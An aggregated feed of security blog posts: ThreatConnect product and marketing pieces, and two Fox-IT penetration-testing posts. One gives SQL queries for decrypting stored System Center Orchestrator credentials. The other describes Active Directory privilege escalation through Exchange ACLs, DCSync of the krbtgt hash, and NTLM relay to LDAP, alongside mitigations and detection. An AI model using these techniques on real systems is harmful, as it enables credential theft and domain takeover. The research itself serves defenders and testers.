Components allow users to utilize any Playbook App: HTTP Client for REST API calls, Email and Slack apps for notification, JSON Path for JSON queries, and the Regex App for data extractions as just a few examples. These Components give users quite a bit of power and can be turned into reusable components in any Playbook (it's like writing a Python function). For example, we've been able to build enrichment Components that call an API with authorization, extract data using JSON Path, and expose them as variables for other apps in a Playbook. Components can be reused in multiple Playbooks and look just like apps. It's a good way to create basic integrations with Playbooks that can then be integrated into other processes.

Playbook Apps

For when you need to build or modify an app, we provide a SDK and app framework so they can build any Playbook App in Python or Java. While you need to be comfortable in Python (...or Java) , it gives users full control over the functionality. Your apps behave just like any other app in Playbooks with inputs and outputs.

Ready to Start or Learn More?

The next time you're at a show like RSA and are overwhelmed by all the new tools you know your CISO is going to buy, just remind yourself: I have ThreatConnect. I have the support of the entire ThreatConnect Security Developer community. I can make this work.

If you're ready to start contributing or leveraging what others are doing, go ahead and check out the GitHub repos now! If you'd like to learn more about them, please contact support@threatconnect.com. For product feedback, please contact me directly at dcole@threatconnect.com.

The post ThreatConnect and the Rise of the Security Developer appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Introducing Orchestrator decryption tool

Researched and written by Donny Maasland and Rindert Kramer

Introduction

During penetration tests we sometimes encounter servers running software that use sensitive information as part of the underlying process, such as Microsoft’s System Center Orchestrator.
According to Microsoft, Orchestrator is a workflow management solution for data centers and can be used to automate the creation, monitoring and deployment of resources in your environment.1 This blogpost covers the encryption aspect of Orchestrator and new tools to decrypt sensitive information that is stored in the Orchestrator database.

Orchestrator, variables, encryption and SQL

In Orchestrator, it is possible to create variables that can be used in runbooks. One of the possibilities is to store credentials in these variables. These variables can then be used to authenticate with other systems. Runbooks can use these variables to create an authenticated session towards the target system and run all the steps that are defined in the runbook in the context of the credentials that are specified in the variable.

Information, such as passwords, that is of a sensitive nature can be encrypted by using encrypted variables. The contents of these variables are stored encrypted in the database when they are created and are decrypted when they are used in the runbooks. The picture below displays the dialog to create an encrypted variable.

dialog

Orchestrator uses the internal encryption functionality of Microsoft SQL server2 (MSSQL). The decryption keys are stored in the SYS database and have to be loaded in to the SQL session in order to decrypt data.

To decypt the data, we need the encrypted content first. The following query returns the encrypted content:

SELECT VARIABLES.value, objects.Name FROM VARIABLES INNER JOIN OBJECTS ON OBJECTS.UniqueID = VARIABLES.UniqueID;

If there are secret variables stored in the database, this will result in encrypted data, such as:
\`d.T.~De/00F04DA615688A4C96C2891105226AE90100000059A187C285E8AC6C1090F48D0BFD2775165F9558EAE37729DA43BE92AD133CF697D2C5CC1E6E27E534754099780A0362C794C95F3747A1E65E869D2D43EC3597\`d.T.~De/

The data between \`d.T.~De/ is the data we are interested in, which leaves us with the following string:
00F04DA615688A4C96C2891105226AE90100000059A187C285E8AC6C1090F48D0BFD2775165F9558EAE37729DA43BE92AD133CF697D2C5CC1E6E27E534754099780A0362C794C95F3747A1E65E869D2D43EC3597
Please note that the \`d.T.~De/ value might differ per data type.

Since this data is encrypted, the decryption key needs to be loaded in the SQL session. To establish this, we open an SQL session and run the following query:

OPEN SYMMETRIC KEY ORCHESTRATOR_SYM_KEY DECRYPTION BY ASYMMETRIC KEY ORCHESTRATOR_ASYM_KEY;

This will load the decryption key into the SQL session.

Now we run this string against the decryptbykey function in MSSQL3 to decrypt the content with the encryption key that was loaded earlier in the SQL session. If successful, this will result in a varbinary object that we need to convert to nvarchar for human readable output.

The complete SQL query will look like this:

SELECT convert(nvarchar, decryptbykey(0x00F04DA615688A4C96C2891105226AE90100000059A187C285E8AC6C1090F48D0BFD2775165F9558EAE37729DA43BE92AD133CF697D2C5CC1E6E27E534754099780A0362C794C95F3747A1E65E869D2D43EC3597));

Executing this query will return the unencrypted value of the variable, as can be seen in the following screenshot.
orch_result_sql

Automating the process

Fox-IT created a script that automates this process. The script queries the secrets and decrypts them automatically. The result of the script can be seen in the screenshot below.
orch_tool_result

The script can be downloaded from Fox-IT’s Github repository: https://github.com/fox-it/Decrypt-OrchestratorSecretVariables

Fox-IT also wrote a Metasploit post module to run this script through a meterpreter.
msf_output

The Metasploit module supports integrated login. Optionally, it is possible to use MSSQL authentication by specifying the username and password parameters. By default, the script will use the ‘Orchestrator’ database, but it is also possible to specify another database with the database parameter. Fox-IT did a pull request to add this module to Metasploit, so hopefully the module will be available soon. The pull request can be found here: https://github.com/rapid7/metasploit-framework/pull/9929

References

[1] https://technet.microsoft.com/en-us/library/hh237242(v=sc.12).aspx
[2] https://technet.microsoft.com/en-us/library/hh912316(v=sc.12).aspx
[3] https://docs.microsoft.com/en-us/sql/t-sql/functions/decryptbykey-transact-sql?view=sql-server-2017

Playbook Fridays: Forcing Active Directory (AD) Password Resets via ThreatConnect Victims

Leveraging the Active Directory and ThreatConnect integration to help automate security processes

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

This post is the first in a series focused on integration scenarios between ThreatConnect and Microsoft Active Directory that customers can leverage to help automate security processes between cyber threats and incidents in ThreatConnect, and adjusting security policy or enforcing behavior with Active Directory users.

We've observed an issue which has plagued enterprises for some time now, and the longer it remains unaddressed, the greater the vulnerability to the organization. Microsoft Active Directory (AD) has been an indirect target for years, and only now is there awareness of the issue among many CIOs and CISOs which has been reaching critical mass. When a phishing attack and or any other account compromise occurs, hackers want to gain credentials to exploit infrastructure. Simple fact: the average Active Directory user has more than 100 account entitlements making compromise of an Active Directory account highly critical. These compromises, of course, can lead to damaging breaches threatening an organization's livelihood.

Most SOC analysts concentrate tactically on identifying a phishing email and neutralizing, blocking the URL and source. However they do not assure that the login, and especially the password, have not been compromised. This is due to a variety reasons, such as having to log into the AD directory, not knowing the infrastructure layout and not having proper permission to make changes. When an attack has taken place, ThreatConnect's orchestration capabilities can automatically connect to AD and gather victim information -- such as email address or any other key attribute -- and then change the user's account policy so at the next login they will be required to change their password. This type of rapid response enhances the overall security posture of the organization.  

This Playbook is a straightforward example of forcing a user to reset their AD password after being flagged in ThreatConnect as a victim. When an analyst searches for the victim name in ThreatConnect, she can then add add the tag, for example "flag", and this action triggers the playbook to run in the background. The trigger drives the logic to query Active Directory and pulls email address and other attributes in necessary to populate the info into the victim's asset information within ThreatConnect. The advantage being that over time ThreatConnect can report which employees were part of which cyber attacks related to this specific phishing email.

The master Playbook is illustrated below. The Victim Trigger drives the subsequent steps after a tag is applied. Next, there are two Playbook Components: LDAP Email Query (in orange) and the LDAP Password Reset 1. These reusable Components can be leveraged in other Playbooks ThreatConnect users may want to deploy.

 

bi-directional-slack-playbook-threatconnect

The above integration is bi-directional with LDAP/Active Directory. It will also send a subsequent SLACK message to remind the user that they will have a password reset at their next login.

Below is the Playbook Component which will query LDAP/Active Directory for specific attribute information. In this Playbook, we will query the LDAP/Active Directory email info for the victim. We then convert it to String data and post the email info into ThreatConnect.

 

playbook-component-ldap-directory-threatconnect

Below is the Playbook Component which will change the LDAP/Active Directory specific attribute called "pwdLastSet=0". By setting it from (1) to (0) zero will force the user to change their password at next login. It will also send a SLACK message at the end of the playbook of the upcoming password reset.

 

Below is the result of of the email information queried by ThreatConnect against LDAP/AD for the needed information as well as any other key attribute information or relevant Asset information.

 

The example below demonstrates the change of the Active Directory attribute to force the user to change their password at the next login.

 

In the next blog post of this series, we'll show how the process can begin with the receipt of a phishing email where we use information in the email to query and affect changes in Active Directory for a number of users, and how that data can be reported in a ThreatConnect Dashboard.

The post Playbook Fridays: Forcing Active Directory (AD) Password Resets via ThreatConnect Victims appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Introducing ThreatConnect’s Intel Report Cards

Providing insight into how certain feeds are performing within ThreatConnect

As part of our latest release, we've introduced a new feature to help users better understand the intelligence they're pumping into their systems.  Intelligence can be a fickle thing; indicators are by their very nature ephemeral and part of our job is to better curate them. We find patterns not only in the intelligence itself, but in the sources of intelligence. As analysts, we frequently find ourselves asking a simple question: "Who's telling me this, and how much do I care?" We sought to tackle this problem on a few fronts in ThreatConnect in the form of Report Cards, giving you insight into how certain feeds are performing across the ThreatConnect ecosystem.  

First and foremost, we wanted to leverage any insights gleaned from our vast user base. We have users spanning dozens of industries across a global footprint. If a customer in Europe is seeing a lot of false positives come from a set of indicators, we want the rest of ThreatConnect users to learn from that. This is where ThreatConnect's CAL™ (Collective Analytics Layer) comes in. All participating instances of CAL are sending some anonymized, aggregated telemetry back. This gives us centralized insight which we can distribute to our customers. This telemetry includes automated tallies, such as how often an indicator is being observed in networks, as well as human-curated data such as how often False Positives are being reported.

Feed selection interface, driven by CAL's insights (27 March 2018)

 

By combining and standardizing these metrics, CAL can start to paint a picture of various intelligence feeds.  CAL knows which feeds are reporting on which indicators, and can overlay this information at scale with the above telemetry.  This has an impact at the strategic level, when deciding which feeds to enable in your instance. We're all familiar with the "garbage in, garbage out" problem -- simply turning on every feed may not be productive for your environment and team.  High-volume feeds that yield a lot of false positives, report on indicators outside of your areas of interest, or are simply repeated elsewhere may not be worth your time. Now system administrators can make an informed decision on which feeds they would like to enable in their instance, and with a single button click can get months of historical data.  These feeds are curated by the ThreatConnect Research team, who is doing their best to prune and automatically deprecate older data to keep the feeds relevant.

ThreatConnect's Intelligence Report card helps you better understand a candidate feed (27 March 2018)

 

The Report Card view goes into more depth on a particular feed. For each feed CAL knows about, it will give you a bullet chart containing the feed's performance on a few key dimensions, as determined by the ThreatConnect analytics team.  In short, a bullet chart identifies ranges of performance (red, yellow, and green here) to give you a quick representation of the groupings we've identified for a particular metric. A vertical red line indicates what we consider to be a successful "target" number for that metric, and the gray line indicates the selected feed's actual performance on that metric. We've identified a few key metrics that we think will help our users make decisions:

  • Reliability Rating is a measure of false positive reports on indicators reported by this feed. It's more than just a count of how many votes have been tallied by users. We also consider things like how egregious a false positive is, since alerting on something like google.com in your SIEM is a much more grave offense in our book. We give this a letter grade, from A-F, to help you identify how likely this feed is to waste your time.
  • Unique Indicators is a simple percentage of how many indicators contained within this feed aren't found anywhere else. If a feed's indicators are often found elsewhere, then some organizations may prefer not to duplicate data by adding them again. There may be reasons for this, as we see below with ThreatAssess. Nonetheless, this metric is a good way to help you understand how much novelty does this feed add?
  • First Reported measures the percentage of indicators which, when identified in other feeds, were found in this feed first. Even if a feed's indicators are often found elsewhere, this feed may have value if it's reporting those indicators significantly earlier. This metric helps you understand how timely a feed is relative to other feeds.
  • Scoring Disposition is a measure of the score that CAL assigns to indicators, on a 0-1000 scale. This score can be factored into the ThreatAssess score (alongside your tailored, local analysis). The Scoring Disposition is not an average of those score, but a weighted selection based on the indicators we know our users care about. This metric helps answer how bad are the things in this feed according to CAL?

The Report Card also contains a few other key fields, namely the Daily Indicators graph and the Common Classifiers box. The Daily Indicators chart shows you the indicator volume coming from a source over time, to help you understand the ebbs and flows of a particular feed. The Common Classifiers box shows which Classifiers are most common on indicators in the selected feed. Combined, these can give you an idea of how many indicators am I signing up for, and what flavors are they?

All of these insights are designed to help you make better decisions throughout your security lifecycle. Ultimately, the decision to add a feed should be a calculated one. When an analyst sees that an indicator was found in a particular feed, they may choose to use that information based on the Reliability Rating of that feed. You can leverage these insights as trust levels via ThreatAssess, allowing you to make such choices for every indicator in your instance.

We'll continue to improve our feed offering and expand upon our Report Cards as we hear more feedback from you, so please feel free to Tweet us @ThreatConnect.

The post Introducing ThreatConnect's Intel Report Cards appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Just the TIP of the Iceberg: Categorizing the Evolving Threat Intelligence Platform

Building an Intelligence-Led Defense (From the Start)

While at RSA, I had countless meetings where people asked where we were going with our Platform and in particular, why we were incorporating orchestration and workflow as features.

 

How the Threat Intelligence Platform became our category
During ThreatConnect's first few years, there were multiple names for what we were building. The one that stuck: Threat Intelligence Platform (TIP). ThreatConnect has been known as, and a leader in the TIP category since its inception. At that outset, our vision and the TIP category were in alignment and all was well with the world.

Unfortunately, over time, given market realities, and competitive offerings watering down the requirements, the TIP category has become something less than what we have built, and on it's own it is no longer suitable to describe our complete product. This is best reflected by the types of problems we're helping our customers solve with ThreatConnect today. Some of them fall in the "TIP box"; some of them don't. The label is less important to us than what we are doing for our customers. However, product categories are a useful selection tool for buyers and analysts, so it's important that we address here what problems we solve, and how we uniquely architected our solution to solve them, in order to give the proper bounds on what label we are given.

Let's start with the vision

So if we are more than a TIP, what are we....Security Automation Orchestration (SAO), Security Orchestration, Automation, and Response (SOAR), or some other category and acronym that hasn't been thought up yet? ThreatConnect is all these things and more.

business-platform-threat-intelligence

Here is what I wrote in my very first description of the platform 7 years ago:  

"Choreographer is a business process management suite (BPMS) for cyber analytics automation. With Choreographer, a project team can model, deploy and manage cyber analyst activities that combine system and human tasks using a completely visual solution."

So, right from the very beginning, ThreatConnect - back then Choreographer - had a vision to improve cyber analysis processes. This required us to build software that enabled security professionals to model, implement, execute, monitor, and optimize any security processes that they were responsible for.

Lead with Intelligence, so we can be Intelligence-Led

"Choreographer, provides a fusion of intelligence sources to support analysis and decision making."

We led with intelligence. Why? Because we strongly believe intelligence, e.g. actionable knowledge of threats and your ability to prevent, detect, respond to them, should inform all security processes. An intelligence-led defense benefits mid-to-large enterprises by enhancing detection, shortening response and remediation engagements, and allowing more predictive and proactive strategic decision making.

Intelligence is more powerful when internal and external knowledge is fused, supplementing each other. One of the first things we enabled was the ability for organizations to capture their internal knowledge of threat activity and selectively share it within trusted communities. Today, we support several ISAC, ISAO, and other private sharing groups with the ability to share bespoke intelligence with each other. With our free product, TC Open, we reach an even broader audience of over 25,000 users with free up-to-date open source intelligence and an open sharing community.

Flexibility and Extensibility as Core Principles

"An extensible data model is required to represent all data collected and a rules engine may be used to enrich and analyze data to make it meaningful."

Flexibility and innovation were key. We needed to provide ThreatConnect users the ability to configure the platform based on their own unique requirements and their need to model their own internal processes for enabling an intelligence-led defense across all security functions. More importantly, we wanted to encourage users to share what works with the community. That meant that the data model, Apps, playbooks, and dashboards all needed to be extensible, so we decided to build a platform not a tool.

But we had another problem: the platform would need tight integrations into many aspects of the security ecosystem, which at the time was impossible due to lack of usable API's, lack of standards, and vendor disinterest. I knew a lot about this problem since my last startup (Layer 7 Technologies) addressed the challenge of building Integrated systems of re-usable applications across the business -- Service Orientation Architecture (SOA). We were patient, and focused on getting the foundation of the platform built while we waited for the integration problem to work itself out.   

Over the past 5 or so years, the security industry has in fact evolved: API's are common and standards are evolving. We've made use of this trend. The ThreatConnect Platform today incorporates more than 100 intelligence sources and over 240 enrichment and processing Apps that can be used in creating and using intelligence across any process in the security team's technology stack. Our focus is not simply to take feeds of data from the internet and firehose them into our customers networks, as many TIPs do, but rather to refine data a customer has from any relevant source into an intelligence service. Each of these services enables the business to integrate data, analyze it to add context and determine relevanancy, to provide insights and recommendations, or most powerfully - to take immediate action when appropriate.  

 

Utility Across the Security Team

 "At the heart of the Choreographer product is the concept of an "Activity".  Activities are processes performed by Analysts regularly in their day-to-day jobs that have been modeled in Business Process Modeling Notation (BPMN) and execute automatically with the Analyst Choreographer product. With Choreographer, every customer takes advantage of pre-built activities, and additionally can build their own activities using the activity modeling graphical interface."  

Now, activities in this definition were not specific to threat intelligence, response, vulnerability management or anything else across the business.  Instead, we thought then -- and still believe today -- that ThreatConnect should provide activity management capabilities for the various security personnel's key workflows, as all are either consuming, creating, or processing intelligence in the course of their activities.

Today, with our range of integrations and automation capabilities, customers are using ThreatConnect to facilitate use cases as broad as intelligence-led patch management, phishing email triage, infected host containment, detection and alert enrichment in the SIEM, and intelligence report creation and sharing...to just highlight a few.

 

Process Automation for Scale and Efficiency

How do we enable these use-cases? The ThreatConnect Platform's Playbooks capability allows a sequence of automated or human tasks, arranged as a process, to be configured as a playbook, executed to incorporate automated analytics or human workflows, and measured to support continuous improvement. The processes, playbooks, dashboards, and apps can be built, shared, and utilized by anyone in the ThreatConnect community.

playbooks-threat-intelligence-threatconnect

We had a vision to build a cyber security platform that transforms the way that security professionals do their jobs. Using data, analytics, and intelligence was a no-brainer since the only way to augment humans is to act like them. Humans use data to produce knowledge which becomes wisdom. That wisdom is the equivalent of our Intelligence and is what makes "sense-making" possible in the ThreatConnect platform. Our Playbooks and other automation capabilities enable the refinement of data into intelligence suitable for decision making, and also leverage that newly created intelligence to inform decisions across the security team.

Industry labels: TIP, SOAR, [insert new term], are not going to constrain the problems we aim to solve. Regardless of how we are categorized, our customers are doing amazing things with our product. I am very proud of what our team and product are doing to enable security teams worldwide.  

The post Just the TIP of the Iceberg: Categorizing the Evolving Threat Intelligence Platform appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Escalating privileges with ACLs in Active Directory

Researched and written by Rindert Kramer and Dirk-jan Mollema

Introduction

During internal penetration tests, it happens quite often that we manage to obtain Domain Administrative access within a few hours. Contributing to this are insufficient system hardening and the use of insecure Active Directory defaults. In such scenarios publicly available tools help in finding and exploiting these issues and often result in obtaining domain administrative privileges. This blogpost describes a scenario where our standard attack methods did not work and where we had to dig deeper in order to gain high privileges in the domain. We describe more advanced privilege escalation attacks using Access Control Lists and introduce a new tool called Invoke-Aclpwn and an extension to ntlmrelayx that automate the steps for this advanced attack.

AD, ACLs and ACEs

As organizations become more mature and aware when it comes to cyber security, we have to dig deeper in order to escalate our privileges within an Active Directory (AD) domain. Enumeration is key in these kind of scenarios. Often overlooked are the Access Control Lists (ACL) in AD.An ACL is a set of rules that define which entities have which permissions on a specific AD object. These objects can be user accounts, groups, computer accounts, the domain itself and many more. The ACL can be configured on an individual object such as a user account, but can also be configured on an Organizational Unit (OU), which is like a directory within AD. The main advantage of configuring the ACL on an OU is that when configured correctly, all descendent objects will inherit the ACL.The ACL of the Organizational Unit (OU) wherein the objects reside, contains an Access Control Entry (ACE) that defines the identity and the corresponding permissions that are applied on the OU and/or descending objects.The identity that is specified in the ACE does not necessarily need to be the user account itself; it is a common practice to apply permissions to AD security groups. By adding the user account as a member of this security group, the user account is granted the permissions that are configured within the ACE, because the user is a member of that security group.

Group memberships within AD are applied recursively. Let’s say that we have three groups:

  • Group_A
    • Group_B
      • Group_C

Group_C is a member of Group_B which itself is a member of Group_A. When we add Bob as a member of Group_C, Bob will not only be a member of Group_C, but also be an indirect member of Group_B and Group_A. That means that when access to an object or a resource is granted to Group_A, Bob will also have access to that specific resource. This resource can be an NTFS file share, printer or an AD object, such as a user, computer, group or even the domain itself.
Providing permissions and access rights with AD security groups is a great way for maintaining and managing (access to) IT infrastructure. However, it may also lead to potential security risks when groups are nested too often. As written, a user account will inherit all permissions to resources that are set on the group of which the user is a (direct or indirect) member. If Group_A is granted access to modify the domain object in AD, it is quite trivial to discover that Bob inherited these permissions. However, if the user is a direct member of only 1 group and that group is indirectly a member of 50 other groups, it will take much more effort to discover these inherited permissions.

Escalating privileges in AD with Exchange

During a recent penetration test, we managed to obtain a user account that was a member of the Organization Management security group. This group is created when Exchange is installed and provided access to Exchange-related activities. Besides access to these Exchange settings, it also allows its members to modify the group membership of other Exchange security groups, such as the Exchange Trusted Subsystem security group. This group is a member of the Exchange Windows Permissions security group.

grpMembershp

By default, the Exchange Windows Permissions security group has writeDACL permission on the domain object of the domain where Exchange was installed. 1

domain_permission

The writeDACL permissions allows an identity to modify permissions on the designated object (in other words: modify the ACL) which means that by being a member of the Organization Management group we were able to escalate out privileges to that of a domain administrator.
To exploit this, we added our user account that we obtained earlier to the Exchange Trusted Subsystem group. We logged on again (because security group memberships are only loaded during login) and now we were a member of the Exchange Trusted Subsystem group and the Exchange Windows Permission group, which allowed us to modify the ACL of the domain.

If you have access to modify the ACL of an AD object, you can assign permissions to an identity that allows them to write to a certain attribute, such as the attribute that contains the telephone number. Besides assigning read/write permissions to these kinds of attributes, it is also possible to assign permissions to extended rights. These rights are predefined tasks, such as the right of changing a password, sending email to a mailbox and many more2. It is also possible to add any given account as a replication partner of the domain by applying the following extended rights:

  • Replicating Directory Changes
  • Replicating Directory Changes All

When we set these permissions for our user account, we were able to request the password hash of any user in the domain, including that of the krbtgt account of the domain. More information about this privilege escalation technique can be found on the following GitHub page: https://github.com/gdedrouas/Exchange-AD-Privesc

Obtaining a user account that is a member of the Organization Management group is not something that happens quite often. Nonetheless, this technique can be used on a broader basis. It is possible that the Organization Management group is managed by another group. That group may be managed by another group, et cetera. That means that it is possible that there is a chain throughout the domain that is difficult to discover but, if correlated correctly, might lead to full compromise of the domain.

To help exploit this chain of security risks, Fox-IT wrote two tools. The first tool is written in PowerShell and can be run within or outside an AD environment. The second tool is an extension to the ntlmrelayx tool. This extension allows the attacker to relay identities (user accounts and computer accounts) to Active Directory and modify the ACL of the domain object.

Invoke-ACLPwn

Invoke-ACLPwn is a Powershell script that is designed to run with integrated credentials as well as with specified credentials. The tool works by creating an export with SharpHound3 of all ACLs in the domain as well as the group membership of the user account that the tool is running under. If the user does not already have writeDACL permissions on the domain object, the tool will enumerate all ACEs of the ACL of the domain. Every identity in an ACE has an ACL of its own, which is added to the enumeration queue. If the identity is a group and the group has members, every group member is added to the enumeration queue as well. As you can imagine, this takes some time to enumerate but could end up with a chain to obtain writeDACL permission on the domain object.

help

When the chain has been calculated, the script will then start to exploit every step in the chain:

  • The user is added to the necessary groups
  • Two ACEs are added to the ACL of the domain object:
    • Replicating Directory Changes
    • Replicating Directory Changes All
  • Optionally, Mimkatz’ DCSync feature is invoked and the hash of the given user account is requested. By default the krbtgt account will be used.

After the exploitation is done, the script will remove the group memberships that were added during exploitation as well as the ACEs in the ACL of the domain object.

To test the script, we created 26 security groups. Every group was member of another group (testgroup_a was a member of testgroup_b, which itself was a member of testgroup_c, et cetera, up until testgroup_z.)
The security group testgroup_z had the permission to modify the membership of the Organization Management security group. As written earlier, this group had the permission to modify the group membership of the Exchange Trusted Subsystem security group. Being a member of this group will give you the permission to modify the ACL of the domain object in Active Directory.

We now had a chain of 31 links:

  • Indirect member of 26 security groups
  • Permission to modify the group membership of the Organization Management security group
  • Membership of the Organization Management
  • Permission to modify the group membership of the Exchange Trusted Subsystem security group
  • Membership of the Exchange Trusted Subsystem and the Exchange Windows Permission security groups

The result of the tool can be seen in the following screenshot:

exploit

Please note that in this example we used the ACL configuration that was configured
during the installation of Exchange. However, the tool does not rely on Exchange
or any other product to find and exploit a chain.

Currently, only the writeDACL permission on the domain object is enumerated
and exploited. There are other types of access rights such as owner, writeOwner, genericAll, et cetera, that can be exploited on other object as well.
These access rights are explained in depth in this whitepaper by the BloodHound team.
Updates to the tool that also exploit these privileges will be developed and released in the future.
The Invoke-ACLPwn tool can be downloaded from our GitHub here: https://github.com/fox-it/Invoke-ACLPwn

NTLMRelayx

Last year we wrote about new additions to ntlmrelayx allowing relaying to LDAP, which allows for domain enumeration and escalation to Domain Admin by adding a new user to the Directory. Previously, the LDAP attack in ntlmrelayx would check if the relayed account was a member of the Domain Admins or Enterprise Admins group, and escalate privileges if this was the case. It did this by adding a new user to the Domain and adding this user to the Domain Admins group.
While this works, this does not take into account any special privileges that a relayed user might have. With the research presented in this post, we introduce a new attack method in ntlmrelayx. This attack involves first requesting the ACLs of important Domain objects, which are then parsed from their binary format into structures the tool can understand, after which the permissions of the relayed account are enumerated.
This takes into account all the groups the relayed account is a member of (including recursive group memberships). Once the privileges are enumerated, ntlmrelayx will check if the user has high enough privileges to allow for a privilege escalation of either a new or an existing user.
For this privilege escalation there are two different attacks. The first attack is called the ACL attack in which the ACL on the Domain object is modified and a user under the attackers control is granted Replication-Get-Changes-All privileges on the domain, which allows for using DCSync as desribed in the previous sections. If modifying the domain ACL is not possible, the access to add members to several high privilege groups in the domain is considered for a Group attack:

  • Enterprise Admins
  • Domain Admins
  • Backup Operators (who can back up critical files on the Domain Controller)
  • Account Operators (who have control over almost all groups in the domain)

If an existing user was specified using the --escalate-user flag, this user will be given the Replication privileges if an ACL attack can be performed, and added to a high-privilege group if a Group attack is used. If no existing user is specified, the options to create new users are considered. This can either be in the Users container (the default place for user accounts), or in an OrganizationalUnit for which control was delegated to for example IT department members.

One may have noticed that we mentioned relayed accounts here instead of relayed users. This is because the attack also works against computer accounts that have high privileges. An example for such an account is the computer account of an Exchange server, which is a member of the Exchange Windows Permissions group in the default configuration. If an attacker is in a position to convince the Exchange server to authenticate to the attacker’s machine, for example by using mitm6 for a network level attack, privileges can be instantly escalated to Domain Admin.

Relaying Exchange account

The NTDS.dit hashes can now be dumped by using impacket’s secretsdump.py or with Mimikatz:

secretsdump-2

Similarly if an attacker has Administrative privileges on the Exchange Server, it is possible to escalate privilege in the domain without the need to dump any passwords or machine account hashes from the system.
Connecting to the attacker from the NT Authority\SYSTEM perspective and authenticating with NTLM is sufficient to authenticate to LDAP. The screenshot below shows the PowerShell function Invoke-Webrequest being called with psexec.py, which will run from a SYSTEM perspective. The flag -UseDefaultCredentials will enable automatic authentication with NTLM.

psexec-relay

The 404 error here is expected as ntlmrelayx.py serves a 404 page if the relaying attack is complete

It should be noted that relaying attacks against LDAP are possible in the default configuration of Active Directory, since LDAP signing, which partially mitigates this attack, is disabled by default. Even if LDAP signing is enabled, it is still possible to relay to LDAPS (LDAP over SSL/TLS) since LDAPS is considered a signed channel. The only mitigation for this is enabling channel binding for LDAP in the registry.
To get the new features in ntlmrelayx, simply update to the latest version of impacket from GitHub: https://github.com/CoreSecurity/impacket

Recommendation

As for mitigation, Fox-IT has a few recommendations.

Remove dangerous ACLs
Check for dangerous ACLs with tools such as Bloodhound. 3
Bloodhound can make an export of all ACLs in the domain which helps identifying
dangerous ACLs.

Remove writeDACL permission for the Exchange Windows Permissions group
Remove the writeDACL permission for the Exchange Windows Permissions group. The following GitHub page contains a PowerShell script which can assist with this: https://github.com/gdedrouas/Exchange-AD-Privesc

Monitor security groups
Monitor (the membership of) security groups that can have a high impact on the domain, such as the Exchange Trusted Subsystem and the Exchange Windows Permissions.

Audit and monitor changes to the ACL.
Audit changes to the ACL of the domain. If not done already, it may be necessary to modify the domain controller policy. More information about this can be found on the following TechNet article: https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

When the ACL of the domain object is modified, an event will be created with event ID 5136. The Windows event log can be queried with PowerShell, so here is a one-liner to get all events from the Security event log with ID 5136:

Get-WinEvent -FilterHashtable @{logname='security'; id=5136}

This event contains the account name and the ACL in a Security Descriptor Definition Language (SDDL) format.

event

Since this is unreadable for humans, there is a PowerShell cmdlet in Windows 10,
ConvertFrom-SDDL4, which converts the SDDL string into a more readable ACL object.

sddl

If the server runs Windows Server 2016 as operating system, it is also possible to see the original and modified descriptors. For more information: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4715

With this information you should be able to start an investigation to discover what was modified, when that happened and the reason behind that.

References

[1] https://technet.microsoft.com/en-us/library/ee681663.aspx
[2] https://technet.microsoft.com/en-us/library/ff405676.aspx
[3] https://github.com/BloodHoundAD/SharpHound
[4] https://docs.microsoft.com/en-us/powershell/module/Microsoft.powershell.utility/convertfrom-sddlstring

5 Things to Do at RSA 2018

It's RSA Conference week! Are you excited? As you're putting last minute plans together, check out our list of five things you should do while you're attending RSA Conference 2018 in San Francisco:  

 

  1. Attend a Keynote

On Wednesday, April 18, Samir Kapuria, Senior Vice President and General Manager of Cyber Security Services at Symantec, will discuss how rethinking the future of cybersecurity means understanding its past in his session, At The Edge of Prediction: A Look Back to the Future of Cybersecurity .  

 

  1.  Party with us!

We don't want to get too ahead of ourselves, but some people are saying this might be "the party of the conference." RSVP for our party with DomainTools at 46 Minna. We'll have an open bar, hors d'oeuvres, and a DJ, plus you'll get to network with the best and brightest of the security industry.

 

  1. Visit the MOMA

When you have some time to spare, make sure to set aside an hour or two to soak up art and culture at San Francisco's Museum of Modern Art. Just steps away from the Moscone Center, you can take a breather from the hectic show floor and enjoy a moment of reflection at the museum.

 

  1. Eat at Hops & Hominy

It's no secret that we love our craft brews over here at ThreatConnect. So it wouldn't be right if we didn't recommend a trip to Hops & Hominy for southern soul food and a variety of microbrews. If you make it a meal there, make sure to stop by our booth and let us know which you loved more: the comfort food or the 21 rotating beers on tap.

 

  1. Stop by the ThreatConnect booth!

Don't miss the reveal of our next t-shirt and your chance to see a personalized demo. We'll also be raffling off a DJI Mavic Drone.. With all this fun in store, ours should be the first booth you head to when the show floor opens (and yes we are a little biased). You can find us at booth #3231 in the North Hall.

 

See you there!

The post 5 Things to Do at RSA 2018 appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

The Power and Responsibility of Customer Data and Analytics

How ThreatConnect stores, uses, and protects customer data

 

There has been a lot of recent news surrounding compromises in trust where companies purposefully or unintentionally misuse or allow others to misuse customer data. After my last post, in which I talked about the power of data and analytics, I thought it would a good time to describe ThreatConnect's efforts around storing, using, and protecting our customers' data.  

 

ThreatConnect-Data-Privacy

 

Let me start by explaining the types of data that reside in the ThreatConnect Cloud and CAL™ (Collective Analytics Layer) and how that data is stored and used. I'm not going to speak to Dedicated Cloud or On-Premises, because those platform configurations are often customized based on organizational policies or regulatory requirements.  

 

ThreatConnect Cloud consists of the Multi-Tenant ThreatConnect Cloud and CAL™. Users (both free and paid) interact with the ThreatConnect Cloud through either direct logins or integrations with other technologies. ThreatConnect Cloud data is either stored in their own private account or organization, a community, or a source. Restrictions for sharing and usage are specific to the source they are stored within.  

 

Where data resides Data Owner Data Users
Individual Account Individual Only Individual
Organization Account Organization All Users of an Organization
Community Community Access granted by community administrators
Data Source Source Owner Access granted by source administrators to source participants

 

Data sharing to a community is up to the organization or user that owns the data. ThreatConnect acts as a member of some of the communities, and as such, has the same rights and privileges as all of its members.

For example, we may be a member of a particular industry community and the rules of the community could allow anyone to use the data under traffic light protocol (TLP): White guidelines. If a community administrator invited us to the community, and the data was marked TLP:WHITE, any vetted community member would possibly leverage the information in some aspect of their work. To reiterate, this means that ThreatConnect would only use said data by virtue of our membership to the community in accordance with the community usage guidelines.

